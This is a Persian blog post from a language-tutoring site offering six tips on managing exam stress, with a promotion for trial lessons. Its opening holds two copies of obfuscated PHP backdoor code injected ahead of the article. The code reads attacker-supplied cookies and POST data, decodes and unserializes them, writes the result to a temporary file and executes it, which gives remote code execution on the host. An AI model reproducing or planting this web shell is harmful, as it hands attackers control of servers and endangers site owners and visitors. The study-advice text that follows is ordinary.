$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} با استرس امتحان چگونه کنار بیاییم و در این دوران آرامش خودمان را حفظ کنیم؟ | وبلاگ اتیچر

با استرس امتحان چگونه کنار بیاییم و در این دوران آرامش خودمان را حفظ کنیم؟

زمان مطالعه: ۳ دقیقه

وقتی که فصل امتحانات پیش روی ماست، بیشتر افراد درگیر استرس امتحان می‌شوند. آن‌ها  اغلب آشفته و با ذهنی مشغول گوشه ای از اتاق می‌نشینند و فقط به امتحان فکر می‌کنند. در اصل  استرس امتحان باعث می‌شود  این افراد کاری از پیش نبرند و تلاش نکنند. به هر حال در این زمان از سال با شب بیداری و درس خواندن، فنجان های بی پایان قهوه و فاصله گرفتن از فعالیت‌های اجتماعی همراه است اما در واقع نیازی به اینگونه رفتارها نیست!

فهرست بخش ها

نکات مدیریت استرس در ایام امتحانات

در اینجا با شش راهنمایی کلیدی و مفید به شما کمک می‌کنیم که به استرس امتحان غلبه کرده و این دوره از سال تحصیلی را با موفقیت به پایان برسانید.

۱.برنامه امتحانی خودتان را روی کاغذ بنویسید

به محض اینکه برنامه امتحانی را گرفتید، ‌آن را روی کاغذی نوشته و به دیوار اتاق‌تان بزنید. هیچ چیزی استرس‌زا‌تر از این نیست که متوجه شوید به دلیل مشکل برنامه ریزی گوشی تلفن همراهتان، امتحانی را فراموش کرده اید. همه جزئیات از محل آزمون تا روز و زمان آن را ثبت کنید.

نوشتن برنامه امتحانی

۲.در زمان امتحانات خودتان را قرنطینه نکنید

برای کاهش استرس امتحان می‌توانید با دوستانتان صحبت کنید. گپ زدن با دوستان چه درباره مسائل متفرقه و چه درباره امتحانات می‌تواند  برای کاهش استرس‌تان مفید باشد. انسان‌‎ها موجودات اجتماعی هستند،‌ بنابراین اگر خودتان را یک ماه زندانی کنید، اصلا کار درستی به نظر نمی‌رسد.

از تاثیر ورزش دوره امتحانات غافل نشوید و از فواید آن در یادگیری زبان بهره مند شوید. در همین راستا مطالعه مقاله زیر را به شما پیشنهاد می‌کنیم.

بیشتر بخوانید:مدیتیشن میانبری در راه یادگیری زبان انگلیسی

۳.برای راغب شدن به مطالعه هدف گذاری کنید

اگر بیش از حد به خودتان سخت بگیرید خسته می‌شوید. همچنین اگر بی‌برنامه به وقت‌گذرانی بپردازید،‌ در فرصت‌های آخر باقی‎مانده استرس امتحان شما را فرا می‌گیرد. پس اهدافی را برای ترغیب شدن خودتان انتخاب کنید و ببینید که چطور انگیزه تان بیشتر و بیشتر می‌شود. در آموختن زبان یک نکته را فراموش نکنید، ۱۰ دقیقه مطالعه روزانه بهتر از ۲ ساعت مطالعه هفتگی است.

هدف گذاری برای امتحانات

۴.از خوردن غذاهای غیر مفید خودداری کنید

وقتی زمان کافی برای پخت و پز ندارید، خوردن غذاهای سریع و مضر وسوسه کننده است. اما در مدت کوتاهی پس از مصرف غذاهایی مثل حبوبات، نودل و فست فودها، احساس سستی و بی انگیزگی خواهید داشت. برای این فصل برنامه ریزی کرده و خوراکی هایی را خریداری کنید و بپزید که انرژی‌زا هستند و مدت طولانی تری سیر نگه‌تان می‌‌دارند. از جمله این غذاها می‌توان به  غلات کامل و سبزیجات اشاره کرد. تغذیه در دوران امتحانات یک مساله بسیار مهم است و باید به آن توجه داشته باشید.

تغذیه موقع امتحانات

۵.خواب را فراموش نکنید

اگر خسته باشید به درد هیچ کار و هیچ کسی نمی خورید. شاید بیداری تنها راهی باشد که برای رسیدن به برنامه به ذهنتان برسد، اما مطمئنا صبح روز بعد گیج و بدون تمرکز خواهید بود. با برنامه منظم پیش بروید و شب ها در زمان معقول بخوابید. چون خواب مناسب نقش پررنگی در کاهش استرس امتحان دارد.

۶. به دیگران فکر نکنید و بر استرس امتحان غلبه کنید

استرس می‌تواند باعث انجام کارهای عجیب و غریب شود، اما اینکه دیگران چه کاری  در زمان امتحانات پایانی انجام می‌دهند برای شما اصلا اهمیتی ندارد. روشی که برای دوستتان خوب است الزاما برای شما خوب نیست به قول انگلیسی ها “everyone has a unic pass”. راه و روش خودتان را ادامه بدهید؛ به نکاتی که در بالا ذکر کردیم توجه کنید؛ و به یاد داشته باشید که ظرف چند هفته آینده به زندگی عادی برمی‌گردید و می‌توانید برای تابستان برنامه ریزی کنید.

برای غلبه بر استرس امتحان می‌توانید یک جلسه آزمایشی با یکی از  استاد زبان های اتیچر رزرو کنید و از توصیه های استاد زبان خود در امتحان استفاده کنید.

به این مقاله امتیاز بدهید

امیر عبادی

نوشته های مرتبط

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search